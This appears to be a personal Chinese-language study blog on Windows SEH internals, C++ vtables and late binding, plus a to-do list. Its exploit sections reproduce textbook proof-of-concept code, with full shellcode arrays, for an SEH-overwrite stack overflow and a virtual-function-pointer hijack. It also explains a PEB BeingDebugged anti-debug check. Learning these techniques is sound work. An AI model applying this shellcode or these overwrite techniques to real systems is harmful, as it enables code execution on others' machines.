MOV DWORD PTR FS:[0],ESP	;当前节点正好位于栈顶,将其地址放到ExceptionList上覆盖原来的头节点

当前节点成为SEH链的第一个节点

调试观察SEH工作流程

main之前建立的seh链

用ida打开seh.exe观察

使用od动态调试seh.exe,让程序先运行到main函数0x401000处

od已经识别出main一开始干了啥了

在头插之前,先看一下原来的第一个seh节点

此时fs:[00000000]=[00386000]=0019FF64,去栈中0x19FF64看看

下一个seh节点在0x19FFCC位置,本seh节点的异常处理函数在0x402730,用ida观察这个位置

这个函数很大,看地址是在用户空间的,不是DLL中的也不是内核中的,那么它是啥时候注册的呢?

start()
	___tmainCRTStartup()
		__cinit()
			__IsNonwritableInCurrentImage()
    	main()

在main之前___tmainCRTStartup会首先调用__cinit进行注册,然后才会调用main

也就是说,这是运行库注册的

注册新的seh节点

注意此时只是注册,其中的异常处理函数也是一个回调函数,不会立刻执行,需要确实发现异常的时候才会执行

main函数首先插入了一个seh节点,其异常处理函数在0x40105A处,这个函数干了啥呢?

.text:0040105A loc_40105A:                             ; DATA XREF: _main↑o
.text:0040105A                 mov     esi, [esp+0Ch];esi指向栈中0x19f470
.text:0040105E                 mov     eax, large fs:30h;PEB地址
.text:00401064                 cmp     byte ptr [eax+2], 1;检查是否BeingDebugged
.text:00401068                 jnz     short loc_401076;如果不是则跳转0x4001076,否则顺序执行
.text:0040106A                 mov     dword ptr [esi+0B8h], offset loc_401023;将0x401023写到esi+0xB8h的地方
.text:00401074                 jmp     short loc_401080;跳转函数尾声
.text:00401076 ; ---------------------------------------------------------------------------
.text:00401076
.text:00401076 loc_401076:                             ; CODE XREF: .text:00401068↑j
.text:00401076                 mov     dword ptr [esi+0B8h], offset loc_401039
.text:00401080
.text:00401080 loc_401080:                             ; CODE XREF: .text:00401074↑j
.text:00401080                 xor     eax, eax
.text:00401082                 retn;返回了

这个函数检查了当前是否处于调试状态,根据该状态将不同的函数地址,写到esi+0xB8h指向的地方

这是个什么地方呢?Context.Eip,干啥用的呢?留作后话

当我们的seh节点注册完毕之后

1 2	esp=0019FF28 fs:[00000000]=[00386000]=0019FF28

此时ExceptionList已经指向0x19FF28了,栈中观察这个位置

后向指针也已经指向了刚才的0x40105A节点.现在的SEH链长这样

ExceptionList@0x386000->
	myNode@0x19FF28->
	CRTNode@0x19FF64->
	ntdllNode1@0x19FFCC->
	ntdllNode2@0x19FFE4->
	-1

如果发生异常,首先会调用这个链最头上的myNode@0x19FF28中的异常处理函数

od已经自动识别出seh链长啥样了,od->查看->seh链

引发异常

在注册完我们的seh节点之后,有两句故意找茬的指令,按理说c语言是敲不出这种指令的,实际上是用内联汇编写的

1 2	.text:00401017 xor eax, eax .text:00401019 mov dword ptr [eax], 1

把1写到0x0位置,显然往未注册过的内存写东西会寄,触发EXCEPTION_ACCESS_VIOLATION(0xc0000005)异常

执行异常处理函数

触发异常之后,程序会跳转到第一个seh节点中注册的异常处理函数,期间经过了很多库函数调用,导致栈顶移动了很远的距离

从0x19FF28到0x19F320一共0xc08个字节

此时控制已经转移到myHandler@0x40105A,这就是main函数一开始注册的seh节点中的异常处理函数

此时栈帧的情况

myHandler@0x40105A的返回地址是NTDLL库函数

返回地址往上的4个双字就是myHandler的参数了

EXCEPTION_DISPOSITION myHandler(//返回值为枚举类型,表明本函数处理结束后程序的走向
    EXCEPTION_RECORD *pRecord,
    EXCEPTION_REGISTRATION_RECORD *pFrame,
    PCONTEXT Context,//线程上下文,包括各种寄存器值
    PVOID pValue,//系统内部使用,忽略
);

参数	参数地址	参数指向
pRecord	0x19F324	0x19F420
pFrame	0x19F328	0x19FF28
Context	0x19F32C	0x19F470
pValue	0x19F330	0x19F3AC

参数指向的地址都在栈中,看来抬栈0xc08个字节其中的作用就有准备参数

`Record@0x19F420`

Record@0x19F420长这样

typedef struct _EXCEPTION_RECORD {//0x50个字节
    DWORD    ExceptionCode;
    DWORD ExceptionFlags;
    struct _EXCEPTION_RECORD *ExceptionRecord;
    PVOID ExceptionAddress;
    DWORD NumberParameters;
    ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

偏移	成员	值	意义
0	ExceptionCode	0xC0000005	访问非法内存
0x4	ExceptionFlags	0
0x8	ExceptionRecord	0
0xC	ExceptionAddress	0x401019	`.text:00401019 mov dword ptr [eax], 1`
0x10	NumberParameters	2
0x14	ExceptionInformation[0]	1
0x15-0x69	ExceptionInformation[1-..]	0

`Frame@0x19FF28`

typedef struct _EXCEPTION_REGISTRATION_RECORD {//8字节
    struct _EXCEPTION_REGISTRATION_RECORD *Next;
    PEXCEPTION_ROUTINE Handler;
} EXCEPTION_REGISTRATION_RECORD;

`Context@0x19F470`

typedef struct DECLSPEC_NOINITALL _CONTEXT {//0x2cc个字节
    DWORD ContextFlags;

    DWORD   Dr0;
    DWORD   Dr1;
    DWORD   Dr2;
    DWORD   Dr3;
    DWORD   Dr6;
    DWORD   Dr7;

    FLOATING_SAVE_AREA FloatSave;
    
    DWORD   SegGs;
    DWORD   SegFs;
    DWORD   SegEs;
    DWORD   SegDs;

    DWORD   Edi;
    DWORD   Esi;
    DWORD   Ebx;
    DWORD   Edx;
    DWORD   Ecx;
    DWORD   Eax;

    DWORD   Ebp;
    DWORD   Eip;	//offset=0xB8
    DWORD   SegCs;              // MUST BE SANITIZED
    DWORD   EFlags;             // MUST BE SANITIZED
    DWORD   Esp;
    DWORD   SegSs;//C8

    BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];

} CONTEXT;

typedef CONTEXT *PCONTEXT;

$ ==>    0019F470   |0001007F
$+4      0019F474   |004011C2                                  返回到 seh.004011C2 来自 seh.00401000
$+8      0019F478   |00000000
$+C      0019F47C   |00000000
$+10     0019F480   |00000000
$+14     0019F484   |FFFF0FF0
$+18     0019F488   |00000100
省略浮点数寄存器
$+88     0019F4F8   |00000000	;segGS
$+8C     0019F4FC   |0000002B	
$+90     0019F500   |00000053	;FS	
$+94     0019F504   |0000002B	;ES	
$+98     0019F508   |0000002B   ;DS

$+9C     0019F50C   |00401219   ;EDI                            seh.<ModuleEntryPoint>
$+A0     0019F510   |00401219   ;ESI                            seh.<ModuleEntryPoint>
$+A4     0019F514   |002CF000	;Ebx 
$+A8     0019F518   |005BF5B8	;Edx
$+AC     0019F51C   |00000001	;Ecx
$+B0     0019F520   |00000000	;Eax

$+B4     0019F524   |0019FF74	;EBP
$+B8     0019F528   |00401019   ;Eip                               seh.00401019
$+BC     0019F52C   |00000023	;CS
$+C0     0019F530   |00010246	;Eflags	
$+C4     0019F534   |0019FF28	;Esp
$+C8     0019F538   |0000002B	;segSS

...

其中eip指向0x401019,这还是发生内存异常的那条指令

1	.text:00401019 mov dword ptr [eax], 1

myHandler@0x40105A

分析完了函数以及返回地址,现在将焦点放到该异常处理函数身上

此时的堆栈

0019F320   77B08BF2  返回到 ntdll.77B08BF2	;返回地址
0019F324   0019F420	;第一个参数,pRecord
0019F328   0019FF28	;第二个参数,pFrame
0019F32C   0019F470	;第三个参数,pContext
0019F330   0019F3AC  UNICODE "48";第四个参数,pValue

把context放到esi上

第一条指令

esp+0xC此时指向第三个参数,即pContext

这里解引用了一下,就把Context的基地址放到esi上了

将PEB放到eax上

fs选择子指向TEB的描述符,TEB+0x30指向PEB

将TEB的基地址放到了eax上

检测是否beingdebugged

第三条指令,取了PEB+0x2的一个字节的值,和1进行比较,

PEB+0x2存放的就是BeingDebugged,如果正在被调试,一般该值会置1,

如果该值为1则和1的差就是0,ZF就置1

否则如果该值为0则和1的差不为0,ZF置0

jnz 0x00401076

实际调试的时候,刚才的计算结果不为0,即ZF=1,jnz跳转

说也奇怪,使用od调试运行的,为啥这里没有检测出调试器呢?

od调试运行时不会检测出调试器,但是x32dbg调试运行就会检测出调试器

修改context.Eip

本函数一开始就将context的基地址放到了esi上,现在将0x401039放到[esi+0xB8]这个地方,也就是context+0xB8=Eip

这意味着,本seh节点的异常处理函数,将context上下文中的eip,根据当前是否被调试,从事故现场,改到了其他没有事故的函数中.这也就是该seh节点的异常处理策略

当本次异常处理结束之后,控制将会交给0x401039

0x401039处的函数干了啥呢?

.text:00401039 loc_401039:                             ; DATA XREF: .text:loc_401076↓o
.text:00401039                 push    0               ; uType
.text:0040103B                 push    offset Caption  ; "ReverseCore"
.text:00401040                 push    offset aHello   ; "Hello :)"
.text:00401045                 push    0               ; hWnd
.text:00401047                 call    ds:MessageBoxA
.text:0040104D
.text:0040104D loc_40104D:                             ; CODE XREF: _main+37↑j
.text:0040104D                 pop     large dword ptr fs:0
.text:00401054                 add     esp, 4
.text:00401057                 retn
.text:00401057 _main           endp

首先弹窗

然后指令pop large dword ptr fs:0就把这个第一个seh节点给扬了,留作后话

在修改完context.Eip之后,函数尾声将eax置就返回了

删除seh节点

由于异常处理函数中将context.eip改成了0x401039,在该函数上下断点,然后Ctrl+F8自动步过,直到执行到断点位置

这里会首先弹窗

然后

这条指令干了啥呢?

fs:0先前分析过,指向的是seh链的附加头节点,现在将栈顶弹给seh链的附加头节点,栈顶是谁呢?

指向下一个SEH记录的指针,将这个指针的值,即下一个seh节点的地址,放到seh链的附加头节点ExceptionList上,恰好就把main一开始注册的seh节点扬了

为啥这么巧栈顶此时就是下一个seh节点的指针呢?

因为堆栈平衡.0x401039是在main函数中的,当控制转移到0x401039时相当于在main中执行,此时的栈顶就是main刚注册完seh节点的状态

返回到`___tmainCRTStartup`

在0x401039函数retn之前,栈顶上存放的是0x4011C2,将要作为返回地址了

这是要返回到哪里去呢?

.text:004011AB                 mov     dword_40AF88, eax
.text:004011B0                 push    eax             ; envp
.text:004011B1                 push    argv            ; argv
.text:004011B7                 push    argc            ; argc
.text:004011BD                 call    _main           ; 异常处理函数地址压栈
.text:004011C2                 add     esp, 0Ch
.text:004011C5                 mov     [ebp+var_20], eax
.text:004011C8                 cmp     [ebp+var_1C], 0

一眼顶针,原来是返回到___tmainCRTStartup了

栈溢出修改seh函数指针

SEH节点都是在栈帧中的,缓冲区溢出可以修改SEH节点中的异常处理函数地址,改成shellcode

书上给出的有漏洞的例子

#include <windows.h>
#include <stdio.h>
#include <string>
#include <stdlib.h>
char shellcode[] =
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

DWORD MyExceptionhandler(void)
{
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
	return 0;
}
void test(char *input)
{
	char buf[200];
	int zero = 0;
	__asm int 3
	_try
	{
		strcpy(buf, input); // overrun the stack
		zero = 4 / zero;	// generate an exception
	}
	_except(MyExceptionhandler()) {}
}
main()
{
	test(shellcode);
}

在windows 2000上直接运行,由于test函数中有一个int 3中断,程序会在此报错然后启动调试

在int 3之前,0x40106B到0x40107C位置已经注册过seh节点

怎么注册的?

将原来的附加头节点中存储的第一个seh节点的地址作为当前节点的后继指针值,当前节点的异常处理函数注册为0x401518

奇怪的是,这个0x401518也是原来的第一个seh节点的注册异常处理函数

两个seh节点指向了同一异常处理函数

在栈帧视图上

新注册的seh节点的异常处理函数指针在EBP-0xC位置

下面要调用strcpy函数了

首先将ebp+8位置的源串指针压栈作为strcpy的第二个参数

然后将ebp-0xe0位置的目标缓冲区压栈作为第一个参数

然后调用strcpy@0x401330,调用完后栈帧的状态

缓冲区已经顶到了ebp-0x18,[ebp-0x18]正好是'\0'

再输入12个字节的填充就到了seh节点异常处理函数指针的家门口了,然后往这里写入四个字节的shellcode的地址

因此这个缓冲区可以写212字节的填充+3字节的shellcode地址,剩下一个字节正好是'\0'填到地址的高位

下面就是shellcode的构造了

char shellcode[]= 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" 
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" 
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" 
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" 
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" 
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" 
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x94\xFE\x12";

前面的字节都填充成0x90即nop指令,一是为了充当pad,二是为了增加命中率,只要是控制调到这些nop指令中,就会顺序执行到shellcode

最后三个字节是0x12FE94,而shellcode的基地址就是0x12FE94,也就是说将shellcode的基地址溢出到了seh节点中的异常处理函数指针上了,

就算是写0x12FE95,0x12FE96等等也都可以,nop已经把靶阔的很大了

然后除以0异常,而刚才被溢出的seh节点又恰好在seh链上首当其冲

因此shellcode就被当作异常处理函数调用了

ToDoList

~~2022.9.9到达前线的第二天,manim已经看恶心了,整理一下思路~~

2022.9.23到达前线半个月,manim基本放弃,水太深,整理一下思路

ToDoList on 9.23

windows 二进制

这两个星期内的进展主要在<<0Day安全软件漏洞分析技术>>

<<0Day安全软件漏洞分析技术>>基本看完前6章,留一个6.1 windows SEH机制没看明白,6.1,11,14章都是SEH相关内容,看不大动了.转到<<核心原理>>第48章SEH,做实验看看.

前两天做梦给程序打了一针(物理上用针管子朝内存条子上扎了一针),然后程序就有右键菜单了,结果这个的实现就真的在<<加密与解密>>中找到了,已加入等待队列

入口点的逆向分析好早之前就像看了,到现在一直没看,还有就是C++全局对象是怎么初始化的,主要依据是<<自我修养>> 第11章

ida

需要完善一下ida的用法,目前可以想到的是识别函数,结构体.

主要依据是IDA权威指南,之前只看完前10章,以后需要看的是第八章结构类型,以及第11章之后

计网

什么差错控制都摆烂没看,该学链路层了,和之前的差错控制关系好像不是很大.

下面要讲的协议挺有意思,可以看看

计组

流水线基本没听课,光知道算那几个B数什么吞吐率啥的有个🔨意思?

下面IO,端口,中断,中断向量,可以看看

what's next

实验室终于有场地了,可以泡实验室了

下面想看一下<<核心原理>>45章以后,TLS,PEB,TEB

ToDoList on 9.9

以往的错误

太难的CTF直接摆烂

打完CTF懒得复盘,很多题做了一半就废了

不敢看CVE,总是觉得看不明白,总是想看完所有书再开始

做的题太少,linux动态链接当时会了,现在又模糊了,再做ret2libc又抓瞎

win32程序设计

写完记事本,扫雷,然后逆向自己写的还有winxp自带的

x86汇编语言从实模式到保护模式

已经看完的是3.4.5.6.10.11.13.14

但是从第5章之后感觉很虚很虚,只是分析了一下源码写了注释,实验几乎都没做,这导致后来看13.14的课后实验时啥也写不出来.需要补上.

数据库,计网

计网带宽,速率那一坨公式没大听,傅里叶变换还没看懂

数据库不想听课,课本落下100页没看了

manim

怎么画椭圆?

怎么画切线?

都有啥函数可以用?

越来越感觉这里水很深,要用顺溜必须得看源码

这玩意也不用做笔记,代码看懂了用一次就记住了

geogebra里面的一些功能,对应到manim里面怎么用?

这个可以记一下,只记函数接口.可能看看API就会了吧

先放放,先放放

逆向工程核心原理

消息钩取在win11上成功了,但是DLL注入白搭

消息钩取后的调试也没上机实验

程序员的自我修养

需要复习一下第8章linux共享库,然后第11,12,13还没看

CSAPP

可以看第四章了,正好计组学到流水线了

第9章有个malloc的实现,等玩具内核写到一定程度了,需要用算法管理内存的时候再说吧

计网自顶向下

第四章网络层放假前看完了,但是当时没有做笔记,是逼着自己看完的,很虚,需要再看一遍

第三章传输层的TCP协议还没看

What's Next?

恶恶心心的,先看CSAPP 第四章吧,相对来说是个软柿子

C++晚联编机制如何实现

Posted on 2022-09-23 Edited on 2022-09-24

C++晚联编如何实现

虚函数对对象的内存结构的影响

#pragma pack(1) //取消所有对齐要求
#include <iostream>
#include <windows.h>
using namespace std;

class A{
    public:
    char only[1];
};
class B{
    public:
    char only[1];
    virtual void func(){}
};
A a;
B b;
int main(){
    cout<<sizeof(A)<<"  "<<sizeof(B)<<endl;
    cout<<&a<<"  "<<&a.only<<endl;
    cout<<&b<<"  "<<&b.only<<endl;
    return 0;
}

PS C:\Users\86135\Desktop\testC++\testCpp> g++ main.cpp -O0 -o main -m32
PS C:\Users\86135\Desktop\testC++\testCpp> ./main
1  5
0x4da020  0x4da020
0x4da024  0x4da028

a和b两个对象的唯一区别就是,b有一个虚函数,a没有

但是b却又5个字节大小,a只有1个,

a的基地址就是a的第一个成员only的基地址

b的基地址加上4偏移才到其第一个成员only的基地址

b最开始的4个字节究竟藏了什么呢?虚表指针

多态与晚联编

#include <iostream>
using namespace std;


class A {
public:
	virtual void func1() {
		cout << "in father func1" << endl;
	}
	virtual int func2(int a, int b) {
		return a + b;
	}
	void func3() {
		cout << "in father func3" << endl;
	}

};
class B :public A {
public:
	void func1() {
		cout << "in son func1" << endl;
	}
	void func3() {
		cout << "in son func3" << endl;
	}
};
void main() {
	A* handle = new B;
	handle->func1();//只有这种指针调用方式才可以多态
	handle->func2(5, 6);//虚函数,但是没有重载调用子类虚函数
	handle->func3();//普通成员函数,但是handle是A类型指针,因此会调用A类的func3函数
	delete handle;
}

A* handle = new B;

main函数开始这么一坨,就干了A* handle = new B;这一个事

但是很迷的是,在主函数栈帧中,就对象的指针就有三个,handle1,handle2,handle,前两者都是临时的,在两三条指令中出现过之后就不再使用了,最后handle接管了大权.

如果打开编译优化可能情况会好一点

其中调用构造函数??0B@@QAE@XZ的时候,首先调用了父类的构造函数,在父类的构造函数中注册了父类的虚函数表,然后又回到本构造函数中,注册子类的虚函数表,覆盖了父类的虚函数表

.text:00641140 push    ebp
.text:00641141 mov     ebp, esp
.text:00641143 push    ecx
.text:00641144 mov     [ebp+this], ecx
.text:00641147 mov     ecx, [ebp+this] ; this
.text:0064114A call    ??0A@@QAE@XZ    ; A::A(void)
.text:0064114F mov     eax, [ebp+this]
.text:00641152 mov     dword ptr [eax], offset ??_7B@@6B@ ; const B::`vftable'
.text:00641158 mov     eax, [ebp+this]
.text:0064115B mov     esp, ebp
.text:0064115D pop     ebp
.text:0064115E retn

A::A()

子类构造函数无论如何都会首先隐式执行父类的构造函数

.text:00641160 push    ebp
.text:00641161 mov     ebp, esp
.text:00641163 push    ecx
.text:00641164 mov     [ebp+this], ecx
.text:00641167 mov     eax, [ebp+this]
.text:0064116A mov     dword ptr [eax], offset ??_7A@@6B@ ; const A::`vftable'
.text:00641170 mov     eax, [ebp+this]
.text:00641173 mov     esp, ebp
.text:00641175 pop     ebp
.text:00641176 retn

这里关键的一点就是注册了父类的虚函数表,父类构造函数执行完之后,对象的状态是这样的

回到子类构造函数

.text:0064114F mov     eax, [ebp+this]
.text:00641152 mov     dword ptr [eax], offset ??_7B@@6B@ ; const B::`vftable'
.text:00641158 mov     eax, [ebp+this]
.text:0064115B mov     esp, ebp
.text:0064115D pop     ebp
.text:0064115E retn

从父类构造函数回来之后,又将B::vftable@rdata注册到对象的第一个双字上,覆盖了父类构造函数的注册效果

实际上对于这个啥成员也没有的子类,父类构造函数真的执行了一个寂寞,它儿子不听话篡改了它老子的虚表指针

A和B类的虚函数表都在rdata区,并且距离很近

.rdata:006431FC ; void (__cdecl *const A::`vftable'[3])()
.rdata:006431FC ??_7A@@6B@ dd offset ?func1@A@@UAEXXZ   ; DATA XREF: A::A(void)+A↑o
.rdata:006431FC                                         ; A::func1(void)
.rdata:00643200 dd offset ?func2@A@@UAEHHH@Z            ; A::func2(int,int)
...
.rdata:0064320C ; void (__cdecl *const B::`vftable'[3])()
.rdata:0064320C ??_7B@@6B@ dd offset ?func1@B@@UAEXXZ   ; DATA XREF: B::B(void)+12↑o
.rdata:0064320C                                         ; B::func1(void)
.rdata:00643210 dd offset ?func2@A@@UAEHHH@Z            ; A::func2(int,int)

虽然只有两个虚函数,但是虚函数表有三项,其中前两项是函数指针,最后一项用NULL表示虚函数表结束

还要注意的是,两个虚函数表中的func1是不同的函数指针,但是func2是同一个函数指针

1
2
3

?func1@A@@UAEXXZ
?func1@B@@UAEXXZ
?func2@A@@UAEHHH@Z

这是因为子类没有重载了func1,但是没有重载func2,于是两个虚表的第一个指针分别指向两个不同的函数,两个虚表的第二个指针指向同一个函数

虚表位于rdata区,可想而知,这里的虚函数指针值在编译链接时就已经决定了,整个运行过程中不会发生变化

因此可以说多态的关键,就在于构造函数一开始注册哪个类的虚函数表

handle->func1();

下面马上就要调用第一个虚函数了

.text:006410E3 mov     ecx, [ebp+handle];对象地址放到ecx中作为this指针
.text:006410E6 mov     edx, [ecx];对象的第一个双字放到edx中
.text:006410E8 mov     ecx, [ebp+handle];对象地址放到ecx中作为this指针
.text:006410EB mov     eax, [edx];对象的第一个双字再解引用取得的值放到eax中
.text:006410ED call    eax;调用eax中的地址

这个过程画在图上相当于

所谓"动态联编"或者"晚联编"就体现在这里,要调用的虚函数是以变量的形式放到eax中调用的

而一般调用函数都是直接写死了call 函数地址

并且在调用虚函数的时候,编译器还真不知道要调用哪个函数

编译器只是在对象的构造函数中注册该对象的虚表,覆盖父类的虚表,然后后来在调用虚函数的时候只需要查虚表,而无需关心这是谁的虚表,因为构造函数时已经注册好这是谁的虚表了

handle->func2(5, 6);

第二个虚函数,与func1虚函数的主要区别是,子类重写了func1,但是没有重写func2

.text:006410EF push    6
.text:006410F1 push    5
.text:006410F3 mov     ecx, [ebp+handle];ecx中是对象的地址
.text:006410F6 mov     edx, [ecx];edx是对象的第一个双字
.text:006410F8 mov     ecx, [ebp+handle];ecx是对象的地址
.text:006410FB mov     eax, [edx+4];对象的第一个双字的值加上4,也就是虚函数表偏移4
.text:006410FE call    eax

&vtable+4=vtable[1]

相当于调用了vtable[1]上面存放的函数

handle->func3();

普通的成员函数,但是该函数被子类重载过,

由于对象的指针是父类指针,因此这里会调用父类的func3函数

1 2	.text:00641100 mov ecx, [ebp+handle] ; this .text:00641103 call ?func3@A@@QAEXXZ ; A::func3(void)

这个函数的调用十分滴简单

根据stdcall调用约定,ecx中放上对象地址,然后就直接调用成员函数了

为了区分子类函数和父类函数,vc++编译器给父类的func3函数命名为?func3@A@@QAEXXZ

这是在编译链接的时候就写死了的

为什么要有虚表呢?

虚表起码可以是在编译链接阶段可以决定的,为了让运行时需要做的事情尽可能少,应该存在虚表这个东西

虚表不能直接放到对象里面吗?不能

一是因为,一种类型的所有对象,共用一个虚表,因此在进程地址空间中只保留一个虚表就够了,这有点类似于共享库的缩影.

二是因为,如果把虚函数的地址直接放到对象里面,会导致对象臃肿.

现在在对象里面只保留一个虚表指针,只会给对象增加4个字节的空间,已经算是最合理的设计了

`->`调用和`.`调用

对象.成员函数,这种调用方式不会触发多态,不会访问虚函数表,子类就调用子类重写的成员函数,没有重写则调用父类的

指针->成员函数,这种调用方式会触发多态,通过虚函数表决定执行哪个函数

同样的程序,使用对象.这种调用方式

int main() {
	B b;
    b.func1();
    b.func2(5,6);
    b.func3();
    return 0;
}

实际上根本没有访问虚表

...
mov     eax, offset off_4D71D0
mov     [ebp+var_C], eax
lea     eax, [ebp+var_C]
mov     ecx, eax
call    __ZN1B5func1Ev  ; B::func1(void);写死的访问哪个函数
lea     eax, [ebp+var_C]
mov     dword ptr [esp+4], 6 ; int
mov     dword ptr [esp], 5 ; this
mov     ecx, eax
call    __ZN1A5func2Eii ; A::func2(int,int);写死的访问哪个函数
sub     esp, 8
lea     eax, [ebp+var_C]
mov     ecx, eax
call    __ZN1B5func3Ev  ; B::func3(void);写死的访问哪个函数
...

虚函数漏洞

虚表指针与虚函数指针

virtual修饰的成员函数,虚函数

虚函数的入口地址统一的保存在虚表中

对象调用虚函数时首先通过虚表指针找到虚表,然后从虚表中取出虚函数地址,然后call

虚表指针保存在对象的内存空间,紧接着虚表指针的是其他成员变量

如何攻击这个机制呢?

这是本来的状态

可以修改对象头4个字节的虚表地址,改成假的虚表地址,这个假虚表上维护着shellcode的地址

还可以保持虚表指针不变,修改虚表中的函数地址

存在漏洞的代码

class Failwest
{
public:
	char buf[200];
	virtual void test(void)
	{
		cout<<"Class Vtable::test()"<<endl;
	}
};

每个Failwest函数的最初四个字节,在buf之前,都是虚表指针,

#include "windows.h"
#include "iostream.h"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x1C\x88\x40\x00";//set fake virtual function pointer

class Failwest
{
public:
	char buf[200];
	virtual void test(void)
	{
		cout<<"Class Vtable::test()"<<endl;
	}
};
Failwest overflow, *p;
void main(void)
{
	char * p_vtable;
	p_vtable=overflow.buf-4;//point to virtual table
	//__asm int 3
	//reset fake virtual table to 0x004088cc
	//the address may need to ajusted via runtime debug
	p_vtable[0]=0xCC;
	p_vtable[1]=0x88;
	p_vtable[2]=0x40;
	p_vtable[3]=0x00;
	strcpy(overflow.buf,shellcode);//set fake virtual function pointer
	p=&overflow;
	p->test();
}

overflow是全局位置定义的一个Failwest对象,他有一个成员变量数组char buf[200],还有一个虚函数test

通过修改虚函数表中虚函数的地址就可以让p->test()这种调用方式上当

虚函数表指针位于对象的第一个成员之前4个字节,因此一开始

char *p_vtable=overflow.buf-4此时p_vtable指针和overflow.buf的虚表指针指向同一块地址了

由于overflow对象只有一个虚函数,因此虚表一开始就是该虚函数的实际地址.

p_vtable[0]=0xCC;
p_vtable[1]=0x88;
p_vtable[2]=0x40;
p_vtable[3]=0x00;

这就将该虚函数的地址修改为0x004088CC,这里恰好是shellcode的首地址(需要调试确定)

然后p=&overflow,p指针指向overflow对象

通过指针调用对象的虚函数,需要去查虚函数表,应该调用哪一个函数,而虚函数表相应位置的函数地址已经被修改为shellcode的地址.

p->test()本来应该是执行overflow的第一个也是唯一一个虚函数,但执行了shellcode

调试观察

这个程序在win11,winXP,win2k上都可以弹窗,直接在win11上用ida分析

.text:00401050 push    esi
.text:00401051 push    edi
.text:00401052 mov     edi, offset shellcode
.text:00401057 or      ecx, 0FFFFFFFFh
.text:0040105A xor     eax, eax
.text:0040105C mov     byte ptr overflow_vtable, 0CCh
.text:00401063 repne scasb
.text:00401065 not     ecx
.text:00401067 sub     edi, ecx
.text:00401069 mov     byte ptr overflow_vtable+1, 88h
.text:00401070 mov     eax, ecx
.text:00401072 mov     esi, edi
.text:00401074 mov     edi, offset overflow_buf
.text:00401079 mov     byte ptr overflow_vtable+2, 40h ; '@'
.text:00401080 shr     ecx, 2
.text:00401083 mov     byte ptr overflow_vtable+3, 0
.text:0040108A rep movsd
.text:0040108C mov     ecx, eax
.text:0040108E and     ecx, 3
.text:00401091 rep movsb
.text:00401093 mov     edx, overflow_vtable
.text:00401099 mov     ecx, offset overflow_vtable
.text:0040109E mov     p, ecx
.text:004010A4 call    dword ptr [edx]
.text:004010A6 pop     edi
.text:004010A7 pop     esi
.text:004010A8 retn
.text:004010A8 _main endp

在mov byte ptr overflow_vtable, 0CCh修改虚函数地址之前,看看此时overflow_vtable上放着的实际的虚函数地址是谁

1 2	.data:00408818 overflow_vtable dd 4070C0h ; DATA XREF: sub_401010↑w .data:00408818 ; _main+C↑w ...

该虚函数的实际地址是0x4070C0

到这里看看

1	.rdata:004070C0 off_4070C0 dd offset sub_401020 ; DATA XREF: sub_401010↑o

这里又是一个地址,去sub_401020看看

thiscall调用约定中ecx用来传递this指针

.text:00401020 sub_401020 proc near                    ; DATA XREF: .rdata:off_4070C0↓o
.text:00401020 push    offset aClassVtableTes          ; "Class Vtable::test()"
.text:00401025 mov     ecx, offset dword_4088F0        ; this
.text:0040102A call    ??6ostream@@QAEAAV0@PBD@Z       ; ostream::operator<<(char const *)
.text:0040102F push    offset sub_4010D0
